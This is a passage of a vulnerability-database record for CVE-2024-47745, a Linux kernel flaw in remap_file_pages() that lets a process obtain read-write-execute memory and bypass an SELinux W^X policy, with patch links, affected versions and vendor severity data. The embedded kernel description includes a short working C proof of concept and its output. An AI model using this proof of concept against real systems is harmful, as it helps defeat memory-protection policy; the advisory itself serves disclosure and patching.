:\"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Mailing List\",\"Third Party Advisory\"]}]}}",
    "redhat_vex": {
      "aggregate_severity": "Moderate",
      "current_release_date": "2026-08-04T17:57:47+00:00",
      "cve": "CVE-2024-47745",
      "id": "CVE-2024-47745",
      "initial_release_date": "2024-10-21T00:00:00+00:00",
      "product_status:fixed": "819",
      "product_status:known_affected": "112",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "kernel: mm: call the security_mmap_file() LSM hook in remap_file_pages()",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2024/cve-2024-47745.json",
      "version": "3"
    },
    "suse_vex": {
      "aggregate_severity": "moderate",
      "current_release_date": "2026-07-25T01:34:14Z",
      "cve": "CVE-2024-47745",
      "id": "CVE-2024-47745",
      "initial_release_date": "2024-10-21T15:46:21Z",
      "product_status:known_affected": "491",
      "product_status:known_not_affected": "42",
      "product_status:recommended": "728",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2024-47745",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2024-47745.json",
      "version": "97"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html\"}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2025-11-03T20:40:38.700Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2024-47745\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2024-10-21T12:58:41.257228Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2024-10-21T12:58:44.380Z\"}}], \"cna\": {\"title\": \"mm: call the security_mmap_file() LSM hook in remap_file_pages()\", \"affected\": [{\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"3393fddbfa947c8e1fdcc4509226905ffffd8b89\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"c8d78c1823f46519473949d33f0d1d33fe21ea16\", \"lessThan\": \"ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"097f98edde717ce09f217d8a285fe357dcd29fd1\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"3.16.59\", \"lessThan\": \"3.17\", \"versionType\": \"semver\"}], \"programFiles\": [\"mm/mmap.c\"], \"defaultStatus\": \"unaffected\"}, {\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"4.0\"}, {\"status\": \"unaffected\", \"version\": \"0\", \"lessThan\": \"4.0\", \"versionType\": \"semver\"}, {\"status\": \"unaffected\", \"version\": \"6.1.120\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.54\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.10.13\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.10.*\"}, {\"status\": \"unaffected\", \"version\": \"6.11.2\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.11.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"mm/mmap.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1\"}, {\"url\": \"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178\"}, {\"url\": \"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89\"}, {\"url\": \"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3\"}, {\"url\": \"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2\"}], \"x_generator\": {\"engine\": \"bippy-1.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\\n\\nThe remap_file_pages syscall handler calls do_mmap() directly, which\\ndoesn\u0027t contain the LSM security check. And if the process has called\\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\\nRW pages, this will actually result in remapping the pages to RWX,\\nbypassing a W^X policy enforced by SELinux.\\n\\nSo we should check prot by security_mmap_file LSM hook in the\\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\\npotentially permits an attacker to bypass a W^X policy enforced by\\nSELinux.\\n\\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\\nAIO and can be found in [1].\\n\\nThe PoC:\\n\\n$ cat \u003e test.c\\n\\nint main(void) {\\n\\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\\n\\tint mfd = syscall(SYS_memfd_create, \\\"test\\\", 0);\\n\\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\\n\\t\\tMAP_SHARED, mfd, 0);\\n\\tunsigned int old = syscall(SYS_personality, 0xffffffff);\\n\\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\\n\\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\\n\\tsyscall(SYS_personality, old);\\n\\t// show the RWX page exists even if W^X policy is enforced\\n\\tint fd = open(\\\"/proc/self/maps\\\", O_RDONLY);\\n\\tunsigned char buf2[1024];\\n\\twhile (1) {\\n\\t\\tint ret = read(fd, buf2, 1024);\\n\\t\\tif (ret \u003c= 0) break;\\n\\t\\twrite(1, buf2, ret);\\n\\t}\\n\\tclose(fd);\\n}\\n\\n$ gcc test.c -o test\\n$ ./test | grep rwx\\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\\n\\n[PM: subject line tweaks]\"}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.1.120\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.6.54\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.10.13\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.11.2\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.12\", \"versionStartIncluding\": \"4.0\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionStartIncluding\": \"3.16.59\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2026-05-23T15:53:52.112Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2024-47745\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-05-23T15:53:52.112Z\", \"dateReserved\": \"2024-09-30T16:00:12.960Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2024-10-21T12:14:12.488Z\", \"assignerShortName\": \"Linux\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.